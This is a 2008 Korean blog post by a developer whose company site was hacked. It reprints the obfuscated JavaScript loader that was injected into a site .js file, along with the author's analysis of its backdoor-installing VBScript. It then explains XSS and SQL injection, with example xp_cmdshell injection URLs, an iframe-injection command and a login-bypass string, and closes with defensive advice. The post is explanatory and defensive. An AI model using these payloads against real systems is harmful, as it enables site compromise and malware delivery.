해킹 공격 당하다~ 방어 대책!!!

2008. 5. 17. 16:53하루에하나씩/트렌드, 기초 IT 정보

친구들과 술을 먹다가 회사에서 문제 생겼다구 저녁이나 새벽에 전화오는게 젤 짱나!!!!! @.@
어제는 회사에서 국정원에서 전화 왔었다구 하던데...설마~ 무슨일루~~~
아마두 한국정보보호진흥원에서 연락이 온것 같은데...
특정 js파일내에 썩을 넘의 쒜끼들이 이상한 스크립트를 삽입해 넣었다.

var HtmlStrings=["=Tdsjqu!mbohvbhf>#kbwbtdsjqu#> gvodujpo!....중간생략...-3 T/dmptf cj1>#Tif","# cj2>#mm/Bqq# cj3>#mjdbu# cj4>#jpo# cj>cj1,cj2,cj3,>"];
function psw(st){
  var varS;
  varS="";
  var i;
  for(var a=0;a<st.length;a++){
    i = st.charCodeAt(a);
    if (i==1)
      varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    else if (i==2) {
      a++;
      varS+=String.fromCharCode(st.charCodeAt(a));
      }
    else
      varS+=String.fromCharCode(i-1);
  }
  return varS;
};
var num=71;
function S(){
for(i=0;i<num;i++)
  document.write(psw(HtmlStrings[i]));}
S();

위에 소스를 분석을 해보니...
첫번째 javascript 상에서는 realplayer을 실행 시키는 코드가 삽입되어 있었다.
Netmeeting 안에 있는 wav 파일을 실행하도록~~~ @.@
두번째 vbscript 에서는 Microsoft.XMLHTTP , Shell.Application , Scripting.FileSystem ,Adodb.Stream
등을 이용해서 외부에서 내부 파일 및 폴더 구성을 파악후에 침투해서 백도어 나 악성 프로그램을 설치하려고 하는 부분이 왜 이따구 공격을 하느냔 말이다.

가장 중요한건.. 이 script를 어떻게 넣을수 있었던 방법은 URL상의 파라미터에 값을 변조 해서  IFRAME 을 이용한 크로스 사이트 스크립트(XSS)을 이용한 공격이였을 가능성이 높았다, 서버 아이디/비번이 노출되어서 실제 FTP를 통해서 들어온건 아니였구,
암튼 이젠 페이지 제작할때 파라미터 처리에 대해 무조껀!! 신중을 다 해야 할것 같다.
대충만들었다가 피해가 이만 저만이 아닐듯 싶다.

사실 기본적인 것만 지켜준다면 크게 당할것이 없다.
하지만 귀차니즘때문에... 에이~ 설마 ... 라는 부분이 가장 큰것 같다.
꼼꼼하게 개발한다면.. 이와 같은 일이 없겠지

몇가지 추가적으로 정보를 찾아 봤다.

1. Cross Site Scripting 이란?

XSS 는 웹 애플리케이션에서 입력되는 데이터를 적절하게 검사하지 않아 클라이언트의 스크립트나 HTML 태그의 사용이 가능하게 되는데 이것은 의도적으로 악의적인 형태의 공격으로까지 이어질 수 있다.
XSS는 많은 웹 애플리케이션에 그 문제가 존재하고 있으며,버퍼오버플로우(Buffer Overflow)와 같이 직접적으로 시스템의 권한을 획득하는 것은 아니지만 간접적 또는 다양한 형태로 악용될 우려가 높다.
공격자는 HTML, JavaScript, VBScript, ActiveX 또는 Flash를 이용하여 취약한 웹 애플리케이션을 통한 사용자 정보의 수집, 사용자 계정의 탈취, 정보의 변경, 쿠키 정보 획득/변조, 부정확한 정보제공등 악용 가능한 범위가 넓다.

2005년10월4일 XSS를 이용한 첫 웜 사례 보고(‘Samy’)
- CSS(Cascading StyleSheet)태그안에서 자바스크립트사용 가능한 것을 발견
- Myspace.com 의 백만명이넘는 사람들이 본인의 의지와는상관없이 친구추가 요청
- 사이트는 일시적 서비스 장애 겪음, DoS 가능성을 보여주었음

2. SQL Injection란

입력되는 데이터의 적절한 확인 없이 전달되는 데이터를 데이터베이스에서 명령어로 처리하는 것
공격자는 다음과 같이 악용가능
- SELECT, INSERT, DELETE 그리고 DROP TABLE 과 같은 SQL 명령어 수행 가능
- 확장 프로시저를 통한 임의의 명령어 수행 가능
예전에 아이디 , 비밀번호 입력하는 곳에다가 ' or ''='   이라고 입력을 하면, 로그인이 되는 곳이 수도없이 많았다. 이건 약과다~~ 사실 이곳에다가 shutdown 이나 delete 형태로 Query를 입력하면.. 으아~~

SQL 인젝션 공격의 예
- http://www.none.to/script?0';EXEC+master..xp_cmdshell(cmd.exe+/c)
- http://victim/url.asp?id=1;exec master..xp_cmdshell “net user namepassword /add”--
- http://victim/url.asp?id=1;exec master..xp_cmdshell ‘echo <ifrmae src=http://www.target.com/icyfox.htm width=“0” height=“0”></iframe> >> c:\inetpub\www\index.html’;

3. 막아보자~~~~

1. 파라미터 처리 부분에 대한 처리 (입력값에 대한 검증을 철저히 하라는 것이다.)
   이것만 해두... 여러가지 공격에 대해서 방어가 된다.
   데이터 베이스와 연동하는 스크립트의 모든 파라미터를 점검하고 사용자 입력이 SQL Injection 을 발생시키지
  않도록 특수 parameter (/, --, +,spage, ; 등)이 허용되지 않는 문자열 에 대해서 에러 처리를 하도록 한다.
  데이터 타입 (string, integer 등), 허용하는 문자, 최소, 최대 문자열 길이, 널(Null) 허용 유무, 파라미터가 필요 
  유무, 중복을 허용하는가, 숫자의 범위, 특정 패턴(정규표현식)

a = replace(a,"'","''")
a = replace(a,"<","&lt")
a = replace(a,">","&gt")
a = replace(a,"""","&quot;")

2. 부적절한 패스워드 사용 및 기본 계정 사용 (서버에 치명적이다)
  ex) admin/admin, manager/manger, system/system, admin/djemals, root/root
3. 관리자/개인용 페이지 접근 제한 노출
4. 검색엔진을 통해 3분여 동안 찾을 수 있었던 사이트는 ?
5. /admin , /manage, 관리자, 관리자 모드 등의 단순 검색어 이용
6. .bak, .log, .inc 등
7. IIS 내부 설정중에 응용프로그램 실행 권한 주의 , Apache에는 필요한 모듈만 사용될 수 있도록 모듈의 설치를 최소화 하고 필요한 모듈만 로드한다
8.  SQL 서버의 에러메세지를 사용자에게 보여주지 않도록 설정한다.
9. 불필요한 Stored Procedure 제거
ex) xp_cmdshell, xp_dirtree, xp_regdeletekey, xp_regwrite, sp_adduser ...


4. 참고하세요~~~

공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm 

※ 무료 웹취약점 점검을 신청
  (정보보호 인력이 부족한 중소기업 또는 소규모 비영리 단체를 대상으로 서비스 제공)
- 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr 

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.
o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp 
o 웹 보안 4종 가이드 
- http://www.kisa.or.kr/kisa/notics/popup/2008/popup_200801_websecureguide.html
o 침해사고 분석절차 가이드  
- http://www.krcert.or.kr/docDown.jsp?dn=10 
o 아파치 그룹에서 제공하는 가이드
- http://www.apache-kr.org/material/seminar/SCA_WebHacking_Conference.pdf